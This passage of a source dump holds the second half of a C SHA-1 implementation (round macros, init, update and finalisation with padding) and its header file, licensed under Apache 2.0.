181 | FA(1); FB(1); FC(1); FD(1); FE(1); FT(1); FA(1); FB(1); FC(1); FD(1);
182 | FE(1); FT(1); FA(1); FB(1); FC(1); FD(1); FE(1); FT(1); FA(1); FB(1);
183 | FC(2); FD(2); FE(2); FT(2); FA(2); FB(2); FC(2); FD(2); FE(2); FT(2);
184 | FA(2); FB(2); FC(2); FD(2); FE(2); FT(2); FA(2); FB(2); FC(2); FD(2);
185 | FE(3); FT(3); FA(3); FB(3); FC(3); FD(3); FE(3); FT(3); FA(3); FB(3);
186 | FC(3); FD(3); FE(3); FT(3); FA(3); FB(3); FC(3); FD(3); FE(3); FT(3);
187 | FA(4); FB(4); FC(4); FD(4); FE(4); FT(4); FA(4); FB(4); FC(4); FD(4);
188 | FE(4); FT(4); FA(4); FB(4); FC(4); FD(4); FE(4); FT(4); FA(4); FB(4);
189 | sha1_info->digest[0] = T32(sha1_info->digest[0] + E);
190 | sha1_info->digest[1] = T32(sha1_info->digest[1] + T);
191 | sha1_info->digest[2] = T32(sha1_info->digest[2] + A);
192 | sha1_info->digest[3] = T32(sha1_info->digest[3] + B);
193 | sha1_info->digest[4] = T32(sha1_info->digest[4] + C);
194 | #else /* !UNRAVEL */
195 | #ifdef UNROLL_LOOPS
196 | FG(1); FG(1); FG(1); FG(1); FG(1); FG(1); FG(1); FG(1); FG(1); FG(1);
197 | FG(1); FG(1); FG(1); FG(1); FG(1); FG(1); FG(1); FG(1); FG(1); FG(1);
198 | FG(2); FG(2); FG(2); FG(2); FG(2); FG(2); FG(2); FG(2); FG(2); FG(2);
199 | FG(2); FG(2); FG(2); FG(2); FG(2); FG(2); FG(2); FG(2); FG(2); FG(2);
200 | FG(3); FG(3); FG(3); FG(3); FG(3); FG(3); FG(3); FG(3); FG(3); FG(3);
201 | FG(3); FG(3); FG(3); FG(3); FG(3); FG(3); FG(3); FG(3); FG(3); FG(3);
202 | FG(4); FG(4); FG(4); FG(4); FG(4); FG(4); FG(4); FG(4); FG(4); FG(4);
203 | FG(4); FG(4); FG(4); FG(4); FG(4); FG(4); FG(4); FG(4); FG(4); FG(4);
204 | #else /* !UNROLL_LOOPS */
205 | for (i = 0; i < 20; ++i) { FG(1); }
206 | for (i = 20; i < 40; ++i) { FG(2); }
207 | for (i = 40; i < 60; ++i) { FG(3); }
208 | for (i = 60; i < 80; ++i) { FG(4); }
209 | #endif /* !UNROLL_LOOPS */
210 | sha1_info->digest[0] = T32(sha1_info->digest[0] + A);
211 | sha1_info->digest[1] = T32(sha1_info->digest[1] + B);
212 | sha1_info->digest[2] = T32(sha1_info->digest[2] + C);
213 | sha1_info->digest[3] = T32(sha1_info->digest[3] + D);
214 | sha1_info->digest[4] = T32(sha1_info->digest[4] + E);
215 | #endif /* !UNRAVEL */
216 | }
217 |
218 | /* initialize the SHA digest */
219 |
220 | void
221 | sha1_init(SHA1_INFO *sha1_info)
222 | {
223 | sha1_info->digest[0] = 0x67452301L;
224 | sha1_info->digest[1] = 0xefcdab89L;
225 | sha1_info->digest[2] = 0x98badcfeL;
226 | sha1_info->digest[3] = 0x10325476L;
227 | sha1_info->digest[4] = 0xc3d2e1f0L;
228 | sha1_info->count_lo = 0L;
229 | sha1_info->count_hi = 0L;
230 | sha1_info->local = 0;
231 | }
232 |
233 | /* update the SHA digest */
234 |
235 | void
236 | sha1_update(SHA1_INFO *sha1_info, const uint8_t *buffer, int count)
237 | {
238 | int i;
239 | uint32_t clo;
240 |
241 | clo = T32(sha1_info->count_lo + ((uint32_t) count << 3));
242 | if (clo < sha1_info->count_lo) {
243 | ++sha1_info->count_hi;
244 | }
245 | sha1_info->count_lo = clo;
246 | sha1_info->count_hi += (uint32_t) count >> 29;
247 | if (sha1_info->local) {
248 | i = SHA1_BLOCKSIZE - sha1_info->local;
249 | if (i > count) {
250 | i = count;
251 | }
252 | memcpy(((uint8_t *) sha1_info->data) + sha1_info->local, buffer, i);
253 | count -= i;
254 | buffer += i;
255 | sha1_info->local += i;
256 | if (sha1_info->local == SHA1_BLOCKSIZE) {
257 | sha1_transform(sha1_info);
258 | } else {
259 | return;
260 | }
261 | }
262 | while (count >= SHA1_BLOCKSIZE) {
263 | memcpy(sha1_info->data, buffer, SHA1_BLOCKSIZE);
264 | buffer += SHA1_BLOCKSIZE;
265 | count -= SHA1_BLOCKSIZE;
266 | sha1_transform(sha1_info);
267 | }
268 | memcpy(sha1_info->data, buffer, count);
269 | sha1_info->local = count;
270 | }
271 |
272 |
273 | static void
274 | sha1_transform_and_copy(unsigned char digest[20], SHA1_INFO *sha1_info)
275 | {
276 | sha1_transform(sha1_info);
277 | digest[ 0] = (unsigned char) ((sha1_info->digest[0] >> 24) & 0xff);
278 | digest[ 1] = (unsigned char) ((sha1_info->digest[0] >> 16) & 0xff);
279 | digest[ 2] = (unsigned char) ((sha1_info->digest[0] >> 8) & 0xff);
280 | digest[ 3] = (unsigned char) ((sha1_info->digest[0] ) & 0xff);
281 | digest[ 4] = (unsigned char) ((sha1_info->digest[1] >> 24) & 0xff);
282 | digest[ 5] = (unsigned char) ((sha1_info->digest[1] >> 16) & 0xff);
283 | digest[ 6] = (unsigned char) ((sha1_info->digest[1] >> 8) & 0xff);
284 | digest[ 7] = (unsigned char) ((sha1_info->digest[1] ) & 0xff);
285 | digest[ 8] = (unsigned char) ((sha1_info->digest[2] >> 24) & 0xff);
286 | digest[ 9] = (unsigned char) ((sha1_info->digest[2] >> 16) & 0xff);
287 | digest[10] = (unsigned char) ((sha1_info->digest[2] >> 8) & 0xff);
288 | digest[11] = (unsigned char) ((sha1_info->digest[2] ) & 0xff);
289 | digest[12] = (unsigned char) ((sha1_info->digest[3] >> 24) & 0xff);
290 | digest[13] = (unsigned char) ((sha1_info->digest[3] >> 16) & 0xff);
291 | digest[14] = (unsigned char) ((sha1_info->digest[3] >> 8) & 0xff);
292 | digest[15] = (unsigned char) ((sha1_info->digest[3] ) & 0xff);
293 | digest[16] = (unsigned char) ((sha1_info->digest[4] >> 24) & 0xff);
294 | digest[17] = (unsigned char) ((sha1_info->digest[4] >> 16) & 0xff);
295 | digest[18] = (unsigned char) ((sha1_info->digest[4] >> 8) & 0xff);
296 | digest[19] = (unsigned char) ((sha1_info->digest[4] ) & 0xff);
297 | }
298 |
299 | /* finish computing the SHA digest */
300 | void
301 | sha1_final(SHA1_INFO *sha1_info, uint8_t digest[20])
302 | {
303 | int count;
304 | uint32_t lo_bit_count, hi_bit_count;
305 |
306 | lo_bit_count = sha1_info->count_lo;
307 | hi_bit_count = sha1_info->count_hi;
308 | count = (int) ((lo_bit_count >> 3) & 0x3f);
309 | ((uint8_t *) sha1_info->data)[count++] = 0x80;
310 | if (count > SHA1_BLOCKSIZE - 8) {
311 | memset(((uint8_t *) sha1_info->data) + count, 0, SHA1_BLOCKSIZE - count);
312 | sha1_transform(sha1_info);
313 | memset((uint8_t *) sha1_info->data, 0, SHA1_BLOCKSIZE - 8);
314 | } else {
315 | memset(((uint8_t *) sha1_info->data) + count, 0,
316 | SHA1_BLOCKSIZE - 8 - count);
317 | }
318 | sha1_info->data[56] = (uint8_t)((hi_bit_count >> 24) & 0xff);
319 | sha1_info->data[57] = (uint8_t)((hi_bit_count >> 16) & 0xff);
320 | sha1_info->data[58] = (uint8_t)((hi_bit_count >> 8) & 0xff);
321 | sha1_info->data[59] = (uint8_t)((hi_bit_count >> 0) & 0xff);
322 | sha1_info->data[60] = (uint8_t)((lo_bit_count >> 24) & 0xff);
323 | sha1_info->data[61] = (uint8_t)((lo_bit_count >> 16) & 0xff);
324 | sha1_info->data[62] = (uint8_t)((lo_bit_count >> 8) & 0xff);
325 | sha1_info->data[63] = (uint8_t)((lo_bit_count >> 0) & 0xff);
326 | sha1_transform_and_copy(digest, sha1_info);
327 | }
328 |
329 | /***EOF***/
330 |
--------------------------------------------------------------------------------
/sha1.h:
--------------------------------------------------------------------------------
1 | // SHA1 header file
2 | //
3 | // Copyright 2010 Google Inc.
4 | // Author: Markus Gutschke
5 | //
6 | // Licensed under the Apache License, Version 2.0 (the "License");
7 | // you may not use this file except in compliance with the License.
8 | // You may obtain a copy of the License at
9 | //
10 | // http://www.apache.org/licenses/LICENSE-2.0
11 | //
12 | // Unless required by applicable law or agreed to in writing, software
13 | // distributed under the License is distributed on an "AS IS" BASIS,
14 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
15 | // See the License for the specific language governing permissions and
16 | // limitations under the License.
17 |
18 | #ifndef SHA1_H__
19 | #define SHA1_H__
20 |
21 | #include
22 |
23 | #define SHA1_BLOCKSIZE 64
24 | #define SHA1_DIGEST_LENGTH 20
25 |
26 | typedef struct {
27 | uint32_t digest[8];
28 | uint32_t count_lo, count_hi;
29 | uint8_t data[SHA1_BLOCKSIZE];
30 | int local;
31 | } SHA1_INFO;
32 |
33 | void sha1_init(SHA1_INFO *sha1_info) __attribute__((visibility("hidden")));
34 | void sha1_update(SHA1_INFO *sha1_info, const uint8_t *buffer, int count)
35 | __attribute__((visibility("hidden")));
36 | void sha1_final(SHA1_INFO *sha1_info, uint8_t digest[20])
37 | __attribute__((visibility("hidden")));
38 |
39 | #endif
40 |
--------------------------------------------------------------------------------